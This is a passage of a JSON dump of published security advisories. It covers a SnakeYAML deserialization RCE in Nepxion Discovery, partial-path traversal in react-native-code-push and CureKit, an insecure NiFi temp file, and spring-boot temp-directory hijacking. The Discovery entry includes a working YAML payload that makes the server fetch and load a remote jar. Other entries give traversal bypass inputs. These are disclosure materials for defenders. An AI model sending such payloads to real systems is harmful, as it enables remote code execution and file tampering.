\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L70-L70)\r\n
    @Override\r\n       public String createVersionRelease(String group, String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n           return createVersionRelease(group, conditionStrategy);\r\n   
\r\n \r\n7. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L197-L197)\r\n
\r\n       @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   
\r\n \r\n8. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L198-L198)\r\n
    @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   \r\n   
\r\n \r\n9. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n10. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n    \r\n            return snakeYaml.loadAs(yaml, clazz);\r\n        }\r\n    }
\r\n \r\n\r\n
\r\n\r\n#### Proof of Concept\r\n\r\nSend the following payload to `http://127.0.0.1:9628/strategy/deparse-version-release-yaml`.\r\n\r\n```yaml\r\n!!com.nepxion.discovery.common.entity.ConditionStrategy:\r\n service: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8080/yaml-payload.jar\"]]]]\r\n blueGreen:\r\n gray:\r\n header:\r\n sort:\r\n```\r\n\r\nThis will cause discovery to download the jar hosted at `http://localhost:8080` (generated using [artsploit/yaml-payload](https://github.com/artsploit/yaml-payload)) and attempt to service load an instance of the `javax.script.ScriptEngineFactory`.\r\n\r\n----------------------------------------\r\n\r\n### Patches\r\n_Has the problem been patched? What versions should users upgrade to?_\r\n\r\n### Workarounds\r\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\r\n\r\n### References\r\n - https://github.com/mbechler/marshalsec/tree/master", "severity": "critical", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-22cq-8f5q-p5g2", "type": "GHSA" }, { "value": "CVE-2022-1471", "type": "CVE" } ], "state": "published", "created_at": "2022-12-12T18:16:25Z", "updated_at": "2023-02-02T19:48:29Z", "published_at": "2023-02-02T19:48:29Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "com.nepxion:discovery-common" }, "vulnerable_version_range": "< 6.20.0", "patched_versions": "6.20.0", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "score": 10.0 }, "cwes": [ { "cwe_id": "CWE-20", "name": "Improper Input Validation" }, { "cwe_id": "CWE-77", "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')" }, { "cwe_id": "CWE-502", "name": "Deserialization of Untrusted Data" } ], "cwe_ids": [ "CWE-20", "CWE-77", "CWE-502" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" }, { "login": "jorgectf", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" }, { "user": { "login": "jorgectf", "id": 46056498, "node_id": "MDQ6VXNlcjQ2MDU2NDk4", "avatar_url": "https://avatars.githubusercontent.com/u/46056498?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jorgectf", "html_url": "https://github.com/jorgectf", "followers_url": "https://api.github.com/users/jorgectf/followers", "following_url": "https://api.github.com/users/jorgectf/following{/other_user}", "gists_url": "https://api.github.com/users/jorgectf/gists{/gist_id}", "starred_url": "https://api.github.com/users/jorgectf/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jorgectf/subscriptions", "organizations_url": "https://api.github.com/users/jorgectf/orgs", "repos_url": "https://api.github.com/users/jorgectf/repos", "events_url": "https://api.github.com/users/jorgectf/events{/privacy}", "received_events_url": "https://api.github.com/users/jorgectf/received_events", "type": "User", "site_admin": true }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-7hfp-mpq6-2jhf", "cve_id": null, "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-7hfp-mpq6-2jhf", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-7hfp-mpq6-2jhf", "summary": "Improper Limitation of a Pathname to a Restricted Directory ('Partial-Path Traversal') during unzip in react-native-code-push", "description": "### Impact\r\n\r\nPartial-path traversal vulnerability allows zip files downloaded as a part of the `com.microsoft.codepush.react.CodePushNativeModule#downloadUpdate` to write their contents out of the intended desintination directory `/unzipped`.\r\n\r\nThis bug can lead to two potential issues:\r\n - Arbitrarily written files to sibling directories of the `/unzipped` directories like `/unzipped-private`\r\n - DOS of the host system by filling the disk space of the drive as these files written outside the `/unzipped` directories will never be cleaned up.\r\n\r\nThe `downloadUpdate` method, although written in Java, is exposed as a react-native method, and is invoked from Javascript code.\r\n\r\n#### Vulnerability Root Cause\r\n\r\nThe `com.microsoft.codepush.react.FileUtils#unzipFile` contains a partial-path traversal vulnerability in the logic used to unzip a zip file. This is due to the `com.microsoft.codepush.react.FileUtils#validateFileName` method containing an insufficient guard against partial-path traversal vulnerabilities.\r\n\r\n ```java\r\n private static String validateFileName(String fileName, File destinationFolder) throws IOException {\r\n String destinationFolderCanonicalPath = destinationFolder.getCanonicalPath();\r\n\r\n File file = new File(destinationFolderCanonicalPath, fileName);\r\n String canonicalPath = file.getCanonicalPath();\r\n\r\n if (!canonicalPath.startsWith(destinationFolderCanonicalPath)) {\r\n throw new IllegalStateException(\"File is outside extraction target directory.\");\r\n }\r\n\r\n return canonicalPath;\r\n }\r\n ```\r\n\\- https://github.com/microsoft/react-native-code-push/blob/f72751fbc044e8348bda82c52b784d29952e06dd/android/app/src/main/java/com/microsoft/codepush/react/FileUtils.java#L126-L137\r\n\r\nThe application controls the `destinationFolder` argument, which will always be a directory ending in `/unzipped`, but the `fileName` comes from the untrusted Zip file. The above bit of logic can be bypassed with the following payloads:\r\n\r\n```java\r\n// The following will return the string \"[SOME PARENT PATH]/unzipped-private/foo-bar\"\r\nvalidateFileName(\"/../unzipped-private/foo-bar\", new File(\"[SOME PARENT PATH]/unzipped\"))\r\n```\r\n\r\n#### True Root cause\r\n\r\n> If the result of `parent.getCanonicalPath()` is not slash terminated it allows for partial path traversal.\r\n>\r\n> Consider `\"/usr/outnot\".startsWith(\"/usr/out\")`. The check is bypassed although `outnot` is not under the `out` directory.\r\nThe terminating slash may be removed in various places. On Linux `println(new File(\"/var/\"))` returns `/var`, but `println(new File(\"/var\", \"/\"))` - `/var/`, however `println(new File(\"/var\", \"/\").getCanonicalPath())` - `/var`.\r\n> \\- [@JarLob (Jaroslav Lobačevski)](https://github.com/JarLob)\r\n\r\n### Patches\r\n\r\nNone\r\n\r\n### Workarounds\r\n\r\nNone\r\n\r\n### References\r\n\r\nSimilar vulnerabilities:\r\n - ESAPI (The OWASP Enterprise Security API) - https://nvd.nist.gov/vuln/detail/CVE-2022-23457\r\n\r\n### Response from Microsoft\r\n\r\n> VULN-066991 CRM:0765000224\r\n>\r\n> Hello,\r\n>\r\n> Thank you for contacting the Microsoft Security Response Center (MSRC). We appreciate the time taken to submit this assessment.\r\n> \r\n> Upon investigation, we have determined that this submission does not meet the definition of a security vulnerability for servicing. This report does not appear to identify a weakness in a Microsoft product or service that would enable an attacker to compromise the integrity, availability, or confidentiality of a Microsoft offering. \r\n> \r\n> As such, this thread is being closed and no longer monitored. We apologize for any inconvenience this may have caused.\r\n> \r\n> If you believe this determination to be in error, submit a new report at https://aka.ms/secure-at\r\n> \r\n> Please include:\r\n> \r\n> Relevant information previously provided in your initial report\r\n> Detailed steps required to consistently reproduce the issue\r\n> Short explanation on how an attacker could use the information to exploit another user remotely\r\n> Proof-of-concept (POC), such as a video recording, crash reports, screenshots, or relevant code samples\r\n> \r\n> More information on reporting a security vulnerability can be found at [https://www.microsoft.com/msrc/faqs-report-an-issue](https://www.microsoft.com/en-us/msrc/faqs-report-an-issue?rtc=1).\r\n> \r\n> Regards,\r\n> \r\n> Ali \r\n> MSRC\r\n", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-7hfp-mpq6-2jhf", "type": "GHSA" } ], "state": "published", "created_at": "2022-05-13T16:50:01Z", "updated_at": "2022-05-16T21:45:15Z", "published_at": "2022-05-16T21:45:15Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "npm", "name": "react-native-code-push" }, "vulnerable_version_range": "<=v7.0.4", "patched_versions": "", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "score": 8.1 }, "cwes": [ { "cwe_id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" } ], "cwe_ids": [ "CWE-22" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-hfmw-fx2m-jj4c", "cve_id": "CVE-2022-23082", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-hfmw-fx2m-jj4c", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-hfmw-fx2m-jj4c", "summary": "Improper Limitation of a Pathname to a Restricted Directory ('Partial Path Traversal') in io.whitesource:curekit", "description": "### Impact\r\n\r\n`io.whitesource.cure.FileSecurityUtils.isFileOutsideDir(String filePath, String baseDirPath)` incorrectly treats sibling of a root directory (`baseDirPath`) as inside the root directory. As such, `isFileOutsideDir` is an insufficient guard against partial-path traversal attacks.\r\n\r\n#### Vulnerability Root Cause\r\n\r\n```java\r\n public static boolean isFileOutsideDir(\r\n @NonNull final String filePath, @NonNull final String baseDirPath) throws IOException {\r\n File file = new File(filePath);\r\n File baseDir = new File(baseDirPath);\r\n return !file.getCanonicalPath().startsWith(baseDir.getCanonicalPath());\r\n }\r\n```\r\n\\- https://github.com/whitesource/CureKit/blob/d6ac3c382cb9d0b7a9f164eb3db1811d51f47c7c/src/main/java/io/whitesource/cure/FileSecurityUtils.java#L14-L26\r\n\r\nThe above bit of logic can be bypassed with the following payloads:\r\n```java\r\n// The following will return 'false', although the attacker controlled value `/usr/foo/../foo-bar/bar` will be outside the `/usr/foo` directory\r\nisFileOutsideDir(\"/usr/foo/../foo-bar/bar\", \"/usr/foo\")\r\n```\r\n\r\n#### True Root cause\r\n\r\n> If the result of `parent.getCanonicalPath()` is not slash terminated it allows for partial path traversal.\r\n>\r\n> Consider `\"/usr/outnot\".startsWith(\"/usr/out\")`. The check is bypassed although `outnot` is not under the `out` directory.\r\nThe terminating slash may be removed in various places. On Linux `println(new File(\"/var/\"))` returns `/var`, but `println(new File(\"/var\", \"/\"))` - `/var/`, however `println(new File(\"/var\", \"/\").getCanonicalPath())` - `/var`.\r\n> \\- [@JarLob (Jaroslav Lobačevski)](https://github.com/JarLob)\r\n\r\n### References\r\n\r\nSimilar vulnerabilities:\r\n - ESAPI (The OWASP Enterprise Security API) - https://nvd.nist.gov/vuln/detail/CVE-2022-23457", "severity": "critical", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-hfmw-fx2m-jj4c", "type": "GHSA" }, { "value": "CVE-2022-23082", "type": "CVE" } ], "state": "published", "created_at": "2022-05-11T17:06:09Z", "updated_at": "2023-02-27T19:41:51Z", "published_at": "2023-02-27T19:41:51Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "io.whitesource:curekit" }, "vulnerable_version_range": ">= 1.0.1, < 1.1.4", "patched_versions": "1.1.4", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "score": 9.8 }, "cwes": [ { "cwe_id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" } ], "cwe_ids": [ "CWE-22" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-rvp4-r3g6-8hxq", "cve_id": "CVE-2022-26850", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-rvp4-r3g6-8hxq", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-rvp4-r3g6-8hxq", "summary": "Insufficiently Protected Credentials via Insecure Temporary File in org.apache.nifi:nifi-single-user-utils", "description": "### Impact\r\n\r\n`org.apache.nifi.authentication.single.user.writer.StandardLoginCredentialsWriter` contains a local information disclosure vulnerability due to writing credentials (username and password) to a file that is readable by all other users on unix-like systems. On unix-like systems, the system's temporary directory is shared between all users on that system. As such, files written to that directory without setting the correct file permissions can allow other users on that system to view the contents of the files written to those temporary files.\r\n\r\n### Source\r\n\r\nAn insecure temporary file is created here:\r\n - https://github.com/apache/nifi/blob/6a1c7c72d5b91b9ce5d5cb5b86e3155d21e2c19b/nifi-commons/nifi-single-user-utils/src/main/java/org/apache/nifi/authentication/single/user/writer/StandardLoginCredentialsWriter.java#L75\r\n\r\nThe username and password credentials are written to this file here:\r\n - https://github.com/apache/nifi/blob/6a1c7c72d5b91b9ce5d5cb5b86e3155d21e2c19b/nifi-commons/nifi-single-user-utils/src/main/java/org/apache/nifi/authentication/single/user/writer/StandardLoginCredentialsWriter.java#L85-L95\r\n\r\n### Patches\r\n\r\nThe vulnerability has been patched in version `1.16`.\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Workarounds\r\n\r\nSetting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems.\r\n\r\n### References\r\n\r\n - https://issues.apache.org/jira/browse/NIFI-9785\r\n - https://github.com/apache/nifi/commit/859d5fe\r\n - https://github.com/apache/nifi/pull/5856\r\n - https://nifi.apache.org/security.html#CVE-2022-26850\r\n - https://twitter.com/JLLeitschuh/status/1511736635645435904?s=20&t=I3w3zF6Y2DUvWYsEFqERjg", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-rvp4-r3g6-8hxq", "type": "GHSA" }, { "value": "CVE-2022-26850", "type": "CVE" } ], "state": "published", "created_at": "2022-03-09T19:15:43Z", "updated_at": "2022-04-06T16:37:48Z", "published_at": "2022-04-06T15:53:54Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "org.apache.nifi:nifi-single-user-utils" }, "vulnerable_version_range": "<= 1.15.3", "patched_versions": "1.16", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "score": 6.5 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" }, { "cwe_id": "CWE-522", "name": "Insufficiently Protected Credentials" } ], "cwe_ids": [ "CWE-377", "CWE-522" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-cm59-pr5q-cw85", "cve_id": "CVE-2022-27772", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-cm59-pr5q-cw85", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-cm59-pr5q-cw85", "summary": "Temporary Directory Hijacking to Local Privilege Escalation Vulnerability in org.springframework.boot:spring-boot", "description": "This was originally spotted by [@trugPa](https://github.com/trungPa) and communicated here: https://github.com/github/codeql/pull/4473#issuecomment-1030416237\r\n\r\n### Impact\r\n\r\nspring-boot versions prior to version `v2.2.11.RELEASE` was vulnerable to temporary directory hijacking. This vulnerability impacted the `org.springframework.boot.web.server.AbstractConfigurableWebServerFactory.createTempDir` method.\r\n\r\nThe vulnerable method is used to create a work directory for embedded web servers such as Tomcat and Jetty. The directory contains configuration files, JSP/class files, etc. If a local attacker got the permission to write in this directory, they could completely take over the application (ie. local privilege escalation).\r\n\r\n#### Impact Location\r\n\r\nThis vulnerability impacted the following source location:\r\n\r\n```java\r\n\t/**\r\n\t * Return the absolute temp dir for given web server.\r\n\t * @param prefix server name\r\n\t * @return the temp dir for given server.\r\n\t */\r\n\tprotected final File createTempDir(String prefix) {\r\n\t\ttry {\r\n\t\t\tFile tempDir = File.createTempFile(prefix + \".\", \".\" + getPort());\r\n\t\t\ttempDir.delete();\r\n\t\t\ttempDir.mkdir();\r\n\t\t\ttempDir.deleteOnExit();\r\n\t\t\treturn tempDir;\r\n\t\t}\r\n```\r\n\\- https://github.com/spring-projects/spring-boot/blob/ce70e7d768977242a8ea6f93188388f273be5851/spring-boot-project/spring-boot/src/main/java/org/springframework/boot/web/server/AbstractConfigurableWebServerFactory.java#L165-L177\r\n\r\nThis vulnerability exists because `File.mkdir` returns `false` when it fails to create a directory, it does not throw an exception. As such, the following race condition exists:\r\n\r\n```java\r\nFile tmpDir =File.createTempFile(prefix + \".\", \".\" + getPort()); // Attacker knows the full path of the file that will be generated\r\n// delete the file that was created\r\ntmpDir.delete(); // Attacker sees file is deleted and begins a race to create their own directory before Jetty.\r\n// and make a directory of the same name\r\n// SECURITY VULNERABILITY: Race Condition! - Attacker beats java code and now owns this directory\r\ntmpDir.mkdirs(); // This method returns 'false' because it was unable to create the directory. No exception is thrown.\r\n// Attacker can write any new files to this directory that they wish.\r\n// Attacker can read any files created by this process.\r\n```\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like 